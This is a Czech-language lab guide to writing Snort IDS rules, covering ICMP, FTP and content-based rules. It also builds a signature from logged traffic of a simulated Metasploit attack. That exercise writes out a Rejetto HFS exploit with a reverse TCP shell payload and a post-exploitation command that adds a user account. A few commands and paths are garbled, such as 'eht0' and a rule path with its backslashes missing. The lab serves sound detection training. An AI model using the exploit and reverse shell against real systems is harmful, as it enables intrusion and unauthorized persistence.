V této sérii laboratorních cvičení si ukážeme různé techniky psaní pravidel Snort, od základní syntaxe pravidel až po psaní pravidel zaměřených na detekci konkrétních typů útoků. Prozkoumáme také některé základní přístupy k analýze a optimalizaci výkonu pravidel.
Cvičení 1: Snort jako IDS
Snort je nejznámější jako IDS. Z webových stránek snort.org:
„Snort® je open source systém prevence a detekce narušení sítě (IDS/IPS) vyvinutý společností Sourcefire. Snort kombinuje výhody kontroly založené na signaturách, protokolech a anomáliích a je celosvětově nejrozšířenější technologií IDS/IPS. S miliony stažení a téměř 400 000 registrovanými uživateli se Snort stal de facto standardem pro IPS.“
Je třeba také zmínit, že společnost Sourcefire byla na začátku října 2013 koupena společností Cisco.
Snort může v zásadě pracovat ve třech různých režimech: Režim IDS, režim protokolování a režim snifferu. V této části laboratoře budeme Snort používat v režimu IDS, později jej použijeme jako záznamník paketů. Pro tuto laboratoř budeme používat virtuální počítač Ubuntu Server, virtuální počítač Windows Server 2012 R2 a virtuální počítač Kali Linux.
Ve virtuálním počítači Ubuntu Server máte nainstalovaný Snort ve verzi 2.9.8. Snad se vám podařilo nainstalovat Snort ve verzi 2.9.8, a to v režimu Snort. Spusťte virtuální počítač Ubuntu Server, přihlaste se pomocí pověření uvedených na začátku této příručky a otevřete terminálový shell poklepáním na zástupce na ploše. (Případně můžete stisknutím klávesové zkratky Ctrl+Alt+T otevřít nový shell.)
Pro ověření verze Snortu zadejte příkaz snort -V a stiskněte klávesu Enter.
Dále musíme nakonfigurovat hodnotu HOME_NET: síť, kterou budeme chránit. Nejprve v terminálovém prostředí zadejte ifconfig, abyste viděli konfiguraci sítě. Všimněte si IP adresy a hodnoty síťového rozhraní. Viz obrázek níže (vaše IP se může lišit).
Následujícím příkazem otevřete konfigurační soubor snort v textovém editoru gedit:
sudo gedit /etc/snort/snort.conf
Zadejte heslo pro server Ubuntu. Po otevření souboru snort.conf přejděte dolů, dokud nenajdete nastavení ipvar HOME_NET. IP adresu budete chtít změnit tak, aby to byla vaše skutečná podsíť třídy C. V současné době by to mělo být 192.168.132.0/24. Jednoduše změníte část IP adresy tak, aby odpovídala IP adrese vašeho virtuálního počítače Ubuntu Server, a ujistěte se, že jste na konci ponechali „.0/24″.
V horní liště zvolte Uložit a soubor zavřete. V tomto okamžiku je Snort připraven ke spuštění. Až na to, že nemá načtena žádná pravidla. Pro ověření spusťte následující příkaz:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Tady říkáme Snortu, aby testoval (-T) konfigurační soubor (-c ukazuje na jeho umístění) na rozhraní eth0 (zadejte svou hodnotu rozhraní, pokud je jiná). Tím se vytvoří velké množství výstupů. Posuňte se nahoru, dokud neuvidíte „0 načtených pravidel Snort“ (viz obrázek níže).
Projdeme si syntaxi tohoto pravidla:
Záhlaví pravidla
- alert – Akce pravidla. Snort vygeneruje výstrahu, pokud je splněna nastavená podmínka.
- any – Zdrojová IP. Snort se podívá na všechny zdroje.
- any – Zdrojový port. Snort se bude dívat na všechny porty.
- -> – Směr. Od zdroje k cíli.
- $HOME_NET – Cílová IP. Používáme hodnotu HOME_NET ze souboru snort.conf.
- any – Cílový port. Snort se podívá na všechny porty v chráněné síti.
Volby pravidla:
- msg: „ICMP test“ – Snort zahrne tuto zprávu do výstrahy.
- sid:1000001 – ID pravidla Snort. Nezapomeňte, že všechna čísla menší než 1 000 000 jsou rezervována; proto začínáme číslem 1 000 001. (Můžete použít libovolné číslo, pokud je větší než 1 000 000.)
- rev:1 – Číslo revize. Tato volba umožňuje snadnější údržbu pravidel.
- classtype:icmp-event – Kategorizuje pravidlo jako „icmp-event“, jednu z předdefinovaných kategorií Snort. Tato volba pomáhá při organizaci pravidel.
Klepněte na tlačítko Uložit a zavřete soubor. Nyní znovu spusťme testovací příkaz konfigurace Snort:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Pokud se posunete nahoru, měli byste vidět, že bylo načteno jedno pravidlo.
Nyní spustíme Snort v režimu IDS a řekneme mu, aby zobrazoval výstrahy na konzoli:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Znovu odkazujeme Snort na konfigurační soubor, který má použít (-c), a určujeme rozhraní (-i eth0). Volba -A console vypíše upozornění na standardní výstup a -q je pro „tichý“ režim (nezobrazuje banner a stavové hlášení). Po zadání příkazu byste neměli vidět žádný výstup, protože Snort nezjistil žádnou aktivitu uvedenou v pravidle, které jsme napsali.
Vygenerujme nějakou aktivitu a podívejme se, zda naše pravidlo funguje.
Spustíme virtuální počítač Kali Linux. Možná budete muset po zadání pověření zadat startx, abyste se dostali do grafického uživatelského rozhraní. Jakmile se tam dostanete, otevřete terminálový shell kliknutím na ikonu v horní liště nabídky.
Nyní začněte pingovat svůj server Ubuntu následujícím příkazem (místo .x použijte IP adresu svého serveru Ubuntu.x):
ping 192.168.x.x
Nechte jej několik sekund běžet a stisknutím kláves Ctrl+C jej zastavte a vraťte se do výzvy.
Nyní se vraťte na svůj Ubuntu Server se spuštěným Snort IDS. Měli byste vidět výstrahy generované pro každou zprávu ICMP Echo request a Echo reply s textem zprávy, který jsme zadali v možnosti msg:
Můžeme také vidět zdrojovou IP adresu hostitele odpovědného za aktivitu generující výstrahu. Ve výše uvedeném příkladu je to 192.168.132.133; vaše může být jiná (ale bude to IP adresa vašeho virtuálního počítače Kali Linux). Naše testovací pravidlo funguje! Stisknutím klávesové zkratky Ctrl+C zastavte Snort a vraťte se na výzvu.
Nyní napíšeme další pravidlo, tentokrát trochu konkrétnější. Otevřete náš soubor local.rules v textovém editoru:
sudo gedit /etc/snort/rules/local.rules
Nejprve zakomentujme naše první pravidlo. Vložte před něj znak libry (#). Na nový řádek napište následující pravidlo (s použitím vaší IP adresy systému Kali Linux pro x.x):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: „FTP connection attempt“; sid:1000002; rev:1;)
Změnili jsme protokol na TCP, použili konkrétní zdrojovou IP, nastavili číslo cílového portu na 21 (výchozí port pro připojení FTP) a změnili text výstražné zprávy. Soubor uložte a zavřete. Nyní znovu spustíme Snort v režimu IDS, ale tentokrát přidáme ještě jednu možnost, a to takto:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
Přikážeme Snortu, aby generovaná upozornění zaznamenával ve formátu ASCII namísto výchozího pcap. Jakmile je Snort spuštěn (opět se hned nezobrazí žádný výstup), přejděte do virtuálního počítače Kali Linux a v terminálovém prostředí zadejte následující příkaz (s použitím IP adresy serveru Ubuntu):
ftp 192.168.x.x
Přejděte zpět na server Ubuntu. Měli byste vidět, že bylo vygenerováno upozornění.
Abyste se ujistili, že pravidlo negeneruje žádné falešné poplachy, můžete otevřít další terminálové prostředí na virtuálním počítači Ubuntu Server a zkusit se připojit ke stejnému serveru FTP. Neměli byste vidět žádná nová upozornění. Stisknutím klávesové zkratky Ctrl+C zastavte Snort.
Nyní spusťte následující příkaz pro výpis adresáře protokolu Snort:
ls /var/log/snort
Měli byste vidět něco podobného následujícímu obrázku:
Soubor snort.log.* (můžete mít více než jeden, pokud jste dříve vygenerovali více než jednu činnost generující výstrahy) je soubor protokolu .pcap. Nelze jej číst pomocí textového editoru. IP adresa, kterou vidíte (vaše se bude lišit od obrázku), je zdrojová IP adresa pro výstrahu, kterou jsme právě viděli pro naše pravidlo FTP. Jedná se o adresář. Podívejme se, co je uvnitř:
sudo ls /var/log/snort/192.168.x.x
Vidíte, že je tam soubor pojmenovaný podle protokolu (TCP) a čísla portu zapojeného do aktivity. Tento soubor můžeme přečíst pomocí textového editoru nebo stačí použít příkaz cat:
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
Získáme stejné informace, jaké jsme viděli ve výstupu konzoly, s některými dalšími podrobnostmi.
A co soubory .pcap? Ty můžeme prozkoumat pomocí oblíbeného analyzátoru síťových protokolů Wireshark. Pro spuštění programu zadejte sudo wireshark. Klepnutím na tlačítko OK potvrďte zobrazená chybová/varovná hlášení. Jakmile se dostanete do hlavního okna programu Wireshark, přejděte na Soubor → Otevřít.
Přejděte do adresáře /var/log/snort, vyberte soubor snort.log.* a klepněte na tlačítko Otevřít.
Další informace najdete zde! Klepnutím na tlačítko rozbalte některou z položek v prostředním podokně. Nyní se můžeme podívat na obsah jednotlivých paketů.
Zavřete aplikaci Wireshark. V průběhu laboratoří jej budeme často používat.
Pro naše další pravidlo napíšeme takové, které kromě protokolů, IP adres a čísel portů hledá i nějaký obsah. Nejprve musíme vygenerovat nějakou aktivitu, která nám poskytne obsah potřebný pro pravidlo.
Spustíme virtuální počítač se systémem Windows Server 2012 R2 a přihlásíme se pomocí pověření uvedených na začátku této příručky. Na tomto virtuálním počítači je spuštěn server FTP. Nejprve zjistěte IP adresu virtuálního počítače Windows Server 2102 R2. To provedete otevřením příkazového řádku ze zástupce na ploše a zadáním příkazu ipconfig.
Všimněte si hodnoty „Adresa IPv4“ (vaše se může lišit od obrázku). Nyní se vraťte do virtuálního počítače se serverem Ubuntu a zadejte ftp 192.168.x.x (pomocí právě vyhledané IP adresy). Po výzvě k zadání jména a hesla stiskněte Enter. Prozkoumejte výstup.
Jak vidíme, po zadání neplatných pověření se zobrazí zpráva „Přihlašovací jméno nebo heslo je nesprávné“. Nyní máme dostatek informací k tomu, abychom mohli napsat naše pravidlo. Zadáním quit ukončíte FTP a vrátíte se na výzvu. Znovu otevřete náš soubor local.rules:
sudo gedit /etc/snort/rules/local.rules
Protože s tímto souborem budeme často pracovat, můžete jej nechat otevřený a spustit nový terminálový shell pro zadávání příkazů.
Na nový řádek přidejte následující pravidlo:
alert tcp $HOME_NET 21 -> any any (msg: „FTP failed login“; content: „Login or password incorrect“; sid:1000003; rev:1;)
Všimněte si, že nyní jsme nastavili hodnotu HOME_NET jako zdrojovou IP, protože budeme hledat odpovědi odchozího serveru FTP. Uložte soubor. Nyní pravidlo otestujeme. Spusťte Snort v režimu IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Nyní přejděte do virtuálního počítače Kali Linux a zkuste se připojit k serveru FTP na serveru Windows Server 2012 R2 (ftp 192.168.x.x) a zadejte libovolné hodnoty pro Jméno a Heslo. Zadejte quit, abyste se vrátili na výzvu. Vraťte se do virtuálního počítače Ubuntu Server. Měli byste vidět několik výstrah generovaných oběma aktivními pravidly, která jsme nahráli do Snortu. Stisknutím klávesové zkratky CTRL+C Snort zastavíte.
Cvičení 2: Snort jako záznamník paketů
Při dnešním rychle se měnícím prostředí a vektorech útoků možná ani nevíme, co bychom měli hledat, dokud útok neuvidíme. Pak bychom možná po prozkoumání tohoto provozu mohli vytvořit pravidlo pro tento konkrétní „nový“ útok. Přesně takto se vytvářejí výchozí veřejně dostupná pravidla Snortu. Nyní spustíme Snort v režimu protokolování a uvidíme, jaký provoz jsme schopni identifikovat na základě provedených útoků.
V tomto cvičení budeme simulovat útok na náš server Windows a zároveň spustíme Snort v režimu protokolování paketů. Poté budeme zkoumat zaznamenané pakety a zjišťovat, zda dokážeme identifikovat signaturu útoku.
Ujistěte se, že jsou spuštěny všechny tři virtuální počítače (Ubuntu Server, Windows Server a Kali Linux). Ve virtuálním počítači Kali Linux zadejte do terminálového prostředí následující příkaz:
msfconsole
Tím spustíte Metasploit Framework, populární platformu pro penetrační testování. Její načtení bude trvat několik sekund. Chybu připojení k databázi ignorujte. Počkejte, dokud se nezobrazí výzva msf>. Jakmile se objeví, zadejte následující sérii příkazů:
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (IP adresa virtuálního počítače Kali Linux)
set RHOST 192.168.x.x (IP adresa VM Windows Server 2012 R2)
set RPORT 8081
Tady jsme nakonfigurovali exploit proti zranitelné verzi souborového serveru Rejetto HFS HTTP, který běží na našem VM Windows Server 2012 R2.
Před spuštěním exploitu musíme spustit Snort v režimu protokolování paketů. Přejděte do virtuálního počítače Ubuntu Server a v terminálovém prostředí zadejte následující příkaz:
sudo snort -dev -q -l /var/log/snort -i eth0
Nezobrazí se žádný výstup. Nyní se vraťte k exploitu msf, který jste nakonfigurovali na virtuálním počítači Kali Linux, a zadejte exploit. Pokud byl exploit úspěšný, měli byste skončit v příkazovém shellu:
Teď, když máme přístup do systému, provedeme následující:
Vytvořte nový uživatelský účet:
název účtu uživatele sítě P@ssword12 /ADD
Změňte adresáře na c:
cd
Vytvořte nový adresář, který bude mít vaše jméno.
mkdir yourname
Nyní stiskněte klávesovou zkratku Ctrl+C a odpovězte y jako „ano“, čímž zavřete přístup do příkazového řádku.
Poté přejděte do svého virtuálního počítače Ubuntu Server a stiskněte klávesovou zkratku Ctrl+C, čímž zastavíte Snort. Do terminálového prostředí zadejte sudo wireshark. V programu Wireshark přejděte na Soubor → Otevřít a přejděte do souboru /var/log/snort. V tuto chvíli tam budeme mít několik souborů snort.log.*. Vyberte ten, který byl naposledy změněn, a klepněte na tlačítko Otevřít.
Měli byste vidět poměrně dost zachycených paketů.
Potřebujeme najít ty, které se týkají našeho simulovaného útoku. V programu Wireshark vyberte možnost Upravit → Najít paket. Ve výsledném dialogovém okně vyberte přepínač String. Dále vyberte jako kritérium Search In (Hledat v) položku Packet Bytes (Paketové byty). Poté pro vyhledávací řetězec zadejte vytvořené uživatelské jméno.
Jakmile budete mít dialogové okno pro vyhledávání nakonfigurované, klepněte na tlačítko Najít. Hledání by mělo najít paket, který obsahuje hledaný řetězec. Pokračujte a vyberte tento paket. Bude to ten tmavě oranžově zbarvený. Klepněte na něj pravým tlačítkem myši a vyberte možnost Sledovat tok TCP.
Tato akce by měla zobrazit všechny příkazy, které byly zadány v této relaci TCP. To bude zahrnovat jak vytvoření účtu, tak i další akce.
Po ověření výsledků zavřete okno streamu. Tím byste se měli vrátit k paketu, který jste vybrali na začátku. Nyní stiskněte šipku nahoru, dokud se ve spodním panelu nezobrazí ASCII část hexadecimálního výpisu „C:UsersAdministratorDesktophfs2.3b>“. Viz níže.
Všimněte si vybrané části ve výše uvedeném grafu. Tento obsah použijeme k vytvoření upozornění, které nás bude informovat o odeslání příkazového shellu na jiného hostitele v důsledku exploitu Rejetto HFS. Minimalizujte okno Wireshark (zatím jej nezavírejte).
Cvičení 3: Vytvoření vlastního pravidla ze zaznamenaného provozu
Chceme, aby se výstraha zobrazila vždy, když Snort uvidí „C:UsersAdministratorDesktophfs2.3b>“. Přejděte do našeho souboru local.rules (pokud jste jej zavřeli, otevřete jej znovu jako root pomocí stejného příkazu jako dříve) a přidejte následující pravidlo na nový řádek (všimněte si, že escapujeme všechna zpětná lomítka, aby byla zahrnuta do obsahu):
alert tcp $HOME_NET any -> any any (msg: „Přístup k příkazovému shellu“; content: „C:UsersAdministratorDesktophfs2.3b“; sid:1000004; rev:1;)
Uložení souboru. Znovu spusťte Snort v režimu IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Nyní se vraťte do virtuálního počítače Kali Linux. Stále byste měli být v příkazovém řádku pro exploit rejetto. Pro jeho opětovné spuštění stačí zadat exploit. Počkejte, až získáte přístup do příkazového řádku, a vraťte se do terminálu Snortu na serveru Ubuntu. Měli byste vidět, že byla vygenerována upozornění na základě našeho nového pravidla:
Na terminálu Kali Linux stiskněte klávesy Ctrl+C a zadejte y pro opuštění příkazového řádku. Poté stiskněte klávesy Ctrl+C na terminálu serveru Ubuntu, čímž zastavíte službu Snort.
V tomto případě máme nějaký lidsky čitelný obsah, který můžeme použít v našem pravidle. Ale to není vždycky ten případ.
Upravíme naše pravidlo tak, aby hledalo obsah, který je reprezentován v hexadecimálním formátu. Nejprve v našem souboru local.rules zkopírujte naše poslední pravidlo a vložte ho níže na nový řádek. Nyní zakomentujte staré pravidlo a změňte hodnotu „rev“ pro nové pravidlo na „2“. Viz níže.
Znovu otevřete okno Wireshark s naším zachycením, přičemž vyberte stejnou část užitečného zatížení. Bohužel nelze kopírovat hexadecimální hodnoty přímo z hlavního okna programu Wireshark, ale existuje jednoduché řešení, které nám bude fungovat. S vybraným potřebným obsahem klikněte pravým tlačítkem myši buď na příslušný (zvýrazněný) paket v horním podokně, nebo na zvýrazněnou položku „Data:“ v prostředním podokně a vyberte Kopírovat → Byty → Odsazení hexadecimálně. Viz níže.
Nyní v našem souboru local.rules vyberte argument obsahu (vše mezi uvozovkami) v našem novém pravidle, klikněte pravým tlačítkem myši a klepněte na Vložit. Nyní pečlivě odstraňte všechny přebytečné mezery, zalomení řádků apod. a ponechte pouze potřebné hexadecimální hodnoty. Poté na obě strany vložte symboly roury (|). Vaše hotové pravidlo by mělo vypadat jako na obrázku níže.
Soubor uložte. Spusťte aplikaci Snort v režimu IDS. Poté přejděte do virtuálního počítače Kali Linux a znovu spusťte exploit. Počkejte, až se zobrazí příkazový shell, a podívejte se na výstup Snort. Měli byste vidět vygenerované výstrahy.
Tentokrát vidíme dvě výstrahy místo čtyř, protože jsme do obsahu zahrnuli hexadecimální reprezentaci symbolu „>“, čímž jsme pravidlo upřesnili.
Stisknutím kláves Ctrl+C zastavíte Snort. Poté ve virtuálním počítači Kali Linux stiskněte klávesy Ctrl+C a zadáním y ukončete příkazový řádek. Zadáním příkazu exit se vrátíte do běžného příkazového řádku.
Toto jsou jen některé základy zápisu pravidla Snort. Později se podíváme na některé pokročilejší techniky.